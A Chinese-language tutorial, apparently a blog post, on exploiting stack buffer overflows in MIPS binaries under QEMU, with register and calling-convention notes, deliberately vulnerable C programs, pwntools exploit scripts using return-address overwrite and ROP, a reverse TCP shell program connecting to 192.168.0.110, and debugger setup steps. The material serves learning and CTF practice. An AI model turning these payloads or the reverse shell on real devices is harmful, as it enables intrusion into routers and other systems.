Contents
  1. 1. mips汇编
    1. 1.1. 寄存器
    2. 1.2. 部分指令
  2. 2. MIPS架构函数调用约定
    1. 2.1. 叶子函数
    2. 2.2. 非叶子函数
    3. 2.3. 调用过程
  3. 3. 缓冲区溢出分析示例
    1. 3.1. 叶子函数
    2. 3.2. 非叶子函数
    3. 3.3. gdb调试mips程序
    4. 3.4. 尝试getshell
      1. 3.4.1. 叶子函数
      2. 3.4.2. 非叶子函数
        1. 3.4.2.1. exp
  4. 4. 利用方式
    1. 4.1. 例子
    2. 4.2. ROP
      1. 4.2.1. exp
    3. 4.3. shellcode
  5. 5. (环境)其他
    1. 5.1. qemu
    2. 5.2. pwndbg
    3. 5.3. gdb-multiarch
    4. 5.4. ida
    5. 5.5. mipsrop
  6. 6. 出题
    1. 6.1. mips gnu 工具链
    2. 6.2. 快速搭建mips
  7. 7. 调试(用户态)

mips汇编

要先了解一下
https://blog.csdn.net/gujing001/article/details/8476685

寄存器

REGISTER NAME USAGE
$0 $zero 常量0(constant value 0)
$1 $at 保留给汇编器(Reserved for assembler)
$2-$3 $v0-$v1 函数调用返回值(values for results and expression evaluation)
$4-$7 $a0-$a3 函数调用参数(arguments)
$8 - $15 $t0-$t7 暂时的(或随便用的)
$16- $23 $s0-$s7 保存的(或如果用,需要SAVE/RESTORE的)(saved)
$24 - $25 $t8-$t9 暂时的(或随便用的)
$26 - $27 $k0-$k1 为操作系统/异常处理保留,至少要预留一个
$28 $gp 全局指针(Global Pointer)
$29 $sp 堆栈指针(Stack Pointer)
$30 $fp 帧指针(Frame Pointer)
$31 $ra 返回地址(return address)
特殊寄存器 PC 程序计数器
特殊寄存器 HI 乘除结果高位寄存器
特殊寄存器 LO 乘除结果低位寄存器

部分指令

指令 用法 功能
addiu addiu $1,$2,n $1=$2+n
sw sw $1,n($2) memory[n+ $2]=$1
lui lui $1,n $1=65536*$1
lw lw $1,n($2) $1=memory[n+$2]
bnez bnez R1,addr 不等于0则跳转到addr
jal jal addr 类似call
j j addr 直接跳转指令,跳转的地址在指令中

MIPS架构函数调用约定

大多数采用linux嵌入式操作系统的路由器使用的是MIPS32架构,MIPS32架构函数调用时对栈的分配和使用方式与x86架构有异同之处:

  1. mips32与x86一样,栈是从高地址向低地址增长,但mips32中没有EBP(Base Pointer)指针,进入一个函数时需要将当前栈指针向下移动 n 比特,这个大小为n比特的存储空间就是此函数的 stack frame 的存储区域。此后栈指针便不再移动,只能在函数返回时再将栈指针加上这个偏移量恢复栈现场。由于不能随便移动栈指针,所以寄存器压栈和出栈都必须指定偏移量。
  2. 函数A调用函数B,A会在栈顶预留一部分空间来保存被调用者B的参数,即调用参数空间。
  3. 调用者将前四个参数保存在寄存器 $a0 - $a3 中。如果有更多的参数,或者有传值的结构,将被放在调用参数空间(栈,同x86)。
  4. x86使用call命令调用函数会将当前执行位置压入栈,但mips把函数的返回地址直接存入$RA(Return Adress)寄存器,而不是栈。

    叶子函数

    函数中不再调用其他任何函数

非叶子函数

函数中还会调用其他函数

调用过程

  1. 函数A执行到调用B指令,调用子程序最终的指令是 jal(Jump And Link),复制当前$PC + 4的值到$RA寄存器,即函数执行结束后的返回地址,然后跳转到B
  2. 跳转到B后
    • B是非叶子函数,B会把A的返回地址存入堆栈(避免被后面的函数调用修改。
    • B是叶子函数,返回A的地址仍在$RA中。
  3. 函数返回时
    • B是非叶子函数,B先从堆栈中取出返回地址,然后将其存入$RA,再使用jr $ra返回A。
    • B是叶子函数,直接使用jr $ra返回A。
  4. 结束将返回值保存在$v0 - $v1
    这个图倒着看比较好理解,把低地址放在上面,想象出入栈

缓冲区溢出分析示例

由于不同于x86,堆栈直接弹出返回地址,mips将返回地址存在寄存器中,似乎对溢出利用造成了困难,但是俗话说的好:只要思想不滑坡,方法总比困难多O(∩_∩)O

叶子函数

不存在返回地址放入堆栈,似乎无法利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// subcall_nostack.c
#include<stdio.h>
void no_stack(char *src)
{
char dst[20] = {0};
for(int i = 0; i < count; i++)
dst[i] = src[i];
}

void main(int argc, char *argv[])
{
int count = strlen(argv[1]);
no_stack(argv[1], count);
}
1
$ mipsel-linux-gcc subcall_nostack.c -static -o subcall_nostack


但是堆栈中函数与函数之间的栈帧是相邻的,如果存在大量溢出可以覆盖到初函数的栈帧中存放的返回地址,就可以达到hijack

非叶子函数

有那么一个机会,就是A调用B,B如果还要调用其他函数,就会将A的返回地址存入堆栈,返回A继续执行时,才会将堆栈中的返回地址写入$RA

1
2
3
4
5
6
7
8
9
10
11
12
// subcall_stack.c
#include<stdio.h>
void has_stack(char *src) // 非叶子函数
{
char dst[20] = {0};
strcpy(dst, src); // overflow
}

void main(int argc, char *argv[])
{
has_stack(argv[1]);
}
1
$ mipsel-linux-gcc subcall_stack.c -static -o subcall_stack

编译后拖进ida看看

这样一来,如果缓冲区溢出覆盖到了返回地址将其改写为magic,即可被利用。

gdb调试mips程序

安装gdb-multiarch

1
$ sudo apt-get install gdb-multiarch

进入gdb-multiarch调试(我使用的是pwndbg)

1
2
3
4
$ gdb-multiarch ./subcall_stack
pwndbg> set architecture mips
The target architecture is assumed to be mips
pwndbg> target remote localhost:1234

开启

1
2
$qemu-mipsel -g 1234 ./subcall_stack
$ qemu-mipsel -g 1234 -L mipsel-linux-gnu ./subcall_stack # -L 指定动态库

但是按照上面的程序,strcpy从命令行参数中获取输入,而不是标准输入,用gdb调试会出现__strcpy_sse2_unaligned SIGSEGV错误,是由您尝试从未初始化的内存(argv[1],实际上为NULL,因为在您的情况下为argv[argc])而导致的。 然后,GDB尝试查找该内部函数的源,但是失败了。所以把strcpy改成read读取,方便寻找偏移,原理还是都一样的。

尝试getshell

将两个c程序修改一下留个后门,我们来getshell试试看

叶子函数

1
2


非叶子函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>

void getshell()
{
system("/bin/sh");
}

void has_stack()
{
char dst[20] = {0};
read(0,&dst,1000); // overflow
}

void main(int argc, char *argv[])
{
has_stack();
}

gdb调试起来后

1
2
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

输入随机数后,程序在0x61616168处出错,得到偏移

1
2
pwndbg> cyclic -l 0x61616168
28

exp

1
2
3
4
5
6
7
8
9
#!usr/bin/python
from pwn import *

io = process("./subcall_stack")

payload = 'a' * 28 + p32(0x00400370)
io.sendline(payload)

io.interactive()

利用方式

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// vuln_system.c
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void do_system(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}

void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;

if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;

if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!\n");
exit(1);
}


ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = 'x00';

if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!\n");
}
fclose(fp);
}

漏洞点就在while循环中
和上面gdb调试例子一样,只是将随机字符串写入passwd,获取偏移
偏移412(0x19C)字节
有经验以后可以通过栈帧分析 offset = saved_ra - buf_addr = -0x4 - (-0x1A0)

下面使用不同的方法进行利用。

ROP

ROP(Return-Oriented Programming)把原来已经存在的代码块拼接起来,拼接时使用一个预先准备好的、包含各条指令结束后下一条指令地址的特殊的返回栈。
从某个地址到返回指令(如jr $ra)之间的二进制序列称为gadget。

同日常做的pwn题一样,通过寻找ROPgadget来构造栈空间,我们通常使用ROPgadget这一工具,对于mips架构也会有相应的工具-IDA插件 —— mipsrop


在IDA中使用mipsrop查找gadget

1
2
3
4
5
.text:00403620                 addiu   $a1, $sp, 0x58+var_40      // $a1 = $sp + 0x18
.text:00403624 lw $ra, 0x58+var_4($sp) // $ra = $sp + 0x54
.text:00403628 sltiu $v0, 1
.text:0040362C jr $ra
.text:00403630 addiu $sp, 0x58

就和做pwn题目的思路是一样的

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

io = process('./vuln_system')

rop = 0x00403620
cmd = '/bin/sh\x00'
# do_sys = 0x004054B8
do_sys = 0x00400370

payload = 'a' * 412 + p32(rop)
payload += 'b' * 0x18 + cmd
payload += 'c' * (0x54-0x18-len(cmd)) + p32(do_sys)

print"[+]rop_addr = " + hex(rop)
print"[+]payload = " + payload

fw = open('passwd', 'wb')
fw.write(payload)
fw.close()

io.interactive()

一开始我在ida中看到的do_system地址是0x004054B8

但是脚本怎么都不对,进入pwndbg进行调试,发现程序根本没有跳到do_system,而是和他有一定偏移的地方,所以又在pwndbg里面查找了一下,发现函数地址根本不是ida里面显示的(浪费了好多时间…但是我不知道为什么?),使用这个地址,getshell成功。555长记性了QAQ

1
2
pwndbg> p do_system
0x400370

我在pwndbg中使用ropgadget也可以打印出rop,但是全部都出来了太多了,我还没摸索出怎么打印指定rop…【待续】

shellcode

shellcode:攻击者使用这段code提供一个简单的shell。

图示是一种示例

落入NOP区就是为了将返回地址作为一个缓冲,但在mips中,NOP指令机器码是0x00000000,如果使用NOP实现跳转缓冲,对于某些函数可能会导致0x00截断(如strcpy()

一个便于提取shellcode二进制代码的工具:https://github.com/desword/shellcode_tools


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// reverse_tcp.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int soc, rc;
struct sockaddr_in serv_addr;
// reverse(ip:port):192.168.0.110:30583

int main()
{
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr("192.168.0.110");
serv_addr.sin_port = 30583;
soc = socket(AF_INET, SOCK_STREAM, 0);
rc = connect(soc, (struct sockaddr *) &serv_addr, 0x10);

dup2(soc, 0);
dup2(soc, 1);
dup2(soc, 2);

execve("/bin/sh", 0, 0);
}

确保虚拟机与主机网络联通,使用

1
nc -l 30580

监听端口,并运行程序,可以输入linux指令查看结果。

通过shellcode,只是在返回地址转入shellcode即可

(环境)其他

qemu

1
sudo apt-get install qemu qemu-user-static qemu-system uml-utilities bridge-utils

pwndbg

1
2
3
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
sudo ./setup.sh

gdb-multiarch

1
sudo apt-get install gdb-multiarch

ida

ubuntu下安装ida,链接: https://pan.baidu.com/s/1p9elz1a34872LsY1WLJmlA 提取码: is2u

1
2
sudo apt-get install libglib2.0-0:i386 libfreetype6:i386 libsm-dev:i386 libxrender1:i386 libfontconfig1:i386 libxext6:i386
sudo apt-get install libstdc++6 lib32stdc++6

./idaq

mipsrop

相当于one_gadget,放在ida的plugins目录下

1
https://github.com/devttys0/ida/tree/master/plugins/mipsrop

以前用的时候没有用到shims,现在ida打开报错没有这个模块..没解决

给个以前的mipsrop吧

1
https://github.com/p1Kk/IDA_plugins/blob/main/mipsrop.py

用法一样的

出题

mips gnu 工具链

快速搭建mips

调试(用户态)

使用gdb-multiarch时,记得加上可执行文件名。同时设置架构和大小端。

1
2
3
pwndbg> set arch mips
pwndbg> set endian big
pwndbg> target remote localhost:1234

再配合上终端

1
$ qemu-mips -g 1234 -L mips-linux-gnu ./xxx

或者ida使用Remote GDB debugger,然后把ip设置为虚拟机ip 和 port1234,进行调试。主要是 gdb很多 不可控 报错…(lll¬ω¬)

mipsel的uclibc库

1
https://github.com/MonkeyJacky/mipsel-linux-uclibc/blob/master/mipsel-linux-uclibc.tar

加载运行

1
qemu-mipsel -g 1234 -L /home/sea/mips_os/mipsel-linux-uclibc ./xxx

参考:
《揭秘家用路由器0day漏洞挖掘技术》
https://paper.seebug.org/657/